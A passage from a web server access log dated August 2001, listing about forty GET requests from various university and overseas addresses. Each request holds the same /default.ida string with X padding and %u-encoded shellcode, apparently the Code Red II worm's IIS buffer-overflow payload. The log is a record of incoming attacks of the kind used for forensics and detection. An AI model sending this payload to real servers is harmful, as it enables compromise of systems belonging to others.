/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:11:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:11:12: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:14:47: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:17:23: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:22:08: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 16:43:54: [128.134.248.36] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 17:34:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 17:36:22: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 17:41:32: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 18:18:34: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 18:42:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 18:46:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 19:47:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 19:57:32: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 20:07:03: [168.126.230.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 20:17:35: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 20:34:35: waltonbramp.resnet.tamu.edu [128.194.53.240] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 21:00:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 21:03:14: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 21:15:12: dialup-cc4-92.cc.columbia.edu [128.59.3.101] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 22:00:11: [202.62.72.86] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 22:04:05: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 22:10:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 22:36:55: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 22:56:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 23:02:11: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 23:11:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 23:13:19: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 23:14:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 23:57:17: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 00:05:11: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 00:14:46: [202.105.91.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 00:49:34: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 00:51:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 01:03:14: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 01:10:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 01:25:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 01:41:35: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 01:44:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET 